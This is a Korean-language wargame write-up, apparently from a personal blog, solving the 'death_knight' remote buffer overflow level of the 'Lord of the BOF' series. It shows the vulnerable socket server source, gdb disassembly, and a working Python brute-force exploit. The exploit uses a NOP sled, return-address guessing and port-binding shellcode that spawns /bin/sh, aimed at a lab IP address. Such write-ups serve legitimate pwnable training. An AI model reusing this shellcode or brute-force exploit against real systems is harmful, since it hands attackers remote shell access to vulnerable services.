[xavius@localhost xavius]$ cat death_knight.c /* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <dumpcode.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); }
while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; }
if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; }
close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); } |
외부에서 6666포트로 소켓 연결을 해야하네요
0x80489f9 <main+309>: mov %eax,DWORD PTR [%ebp-48]
0x80489fc <main+312>: push %eax
0x80489fd <main+313>: call 0x80485ec <send>
0x8048a02 <main+318>: add %esp,16
0x8048a05 <main+321>: push 0
0x8048a07 <main+323>: push 0x100
0x8048a0c <main+328>: lea %eax,[%ebp-40]
0x8048a0f <main+331>: push %eax
0x8048a10 <main+332>: mov %eax,DWORD PTR [%ebp-48]
0x8048a13 <main+335>: push %eax
0x8048a14 <main+336>: call 0x804860c <recv>
인자와 비교하여 buffer는 ebp-40에 저장된다는 것을 알 수 있습니다.
음..일단 버퍼 주소를 대략적으로나마 파악하기 위해 포트를 7777로 바꿔서 다시 컴파일 시킨 후, 백그라운드로 돌린 다음 연결해보죠
그 다음에 프로세스 어태치를 통해 디버깅을 해보도록 하겠습니다.
[xavius@localhost test]$ ./test_knight &
[2] 887
[xavius@localhost test]$ ps -ef | grep test_knight
xavius 887 678 0 20:00 pts/0 00:00:00 ./test_knight
..는 잘 안되서 그냥 브루트포싱 하기로 했습니다..ㅠㅠ
브포에 사용할 쉘 코드는 포트 바인딩 쉘코드 찾다가 http://inhack.org/wordpress/?p=2502에서 얻었습니다!
from socket import *
import time
#[buffer 40 byte] + [sfp 4byte] + [ret 4 byte(&shellcode+nop)] + [shellcode+nop]
shellcode = "\x90"*60
shellcode += "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
shellcode += "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80"
shellcode += "\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"
shellcode += "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80"
shellcode += "\x93\x6a\x02\x59\xb0\x3f\xcd\x80"
shellcode += "\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
for i in range(0xff, 0x00, -1):
for j in range(0x01, 0xff, 0x10):
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.211.146', 6666))
payload = "A"*44 + chr(j)+chr(i)+"\xff\xbf"+shellcode
print payload.encode("hex")
s.recv(1024)
s.recv(1024)
s.send(payload)
s.close()
처음에는 00부터 ff까지 i를 차례대로 주소 올리다가...거꾸로 하는게 더 빠를 것 같아서 늦게나마 바꿨습니다.
역시나 거꾸로하니 되게 빨리 쉘이 뜨더라구요; 그런데 약간 쉘이 이상했습니다; 명령어가 다 안먹히더라구요
몇번이고 쉘띄우면서 테스트 해보다가 왜인지 명령어를 두번 연속 입력해줘야 먹힌다는 사실을 깨달았고 ㅠㅠ;(일부 명령어는 안먹히더라구요)
생각보다 늦게 풀었습니다..으으 어쨌든 클리어 성공!!! 거의 일주일동안 이것만 했네요..18일부터;
이제 다른 워게임이나 대회문제도 조금씩 풀어봐야겠습니다 ㅠㅠ pwnable하고 친해지려면 아직 멀었지만.. 한걸음 나아간 기분이 드네요 ㅎㅎ
수고하셨습니다!
'워게임 > lord of bof' 카테고리의 다른 글
level 18 -> 19 (0) | 2015.10.23 |
---|---|
level 17 -> 18 (0) | 2015.10.23 |
level 16 -> 17 (0) | 2015.10.23 |
level 15 -> 16 (0) | 2015.10.23 |
level 14 -> 15 (0) | 2015.10.23 |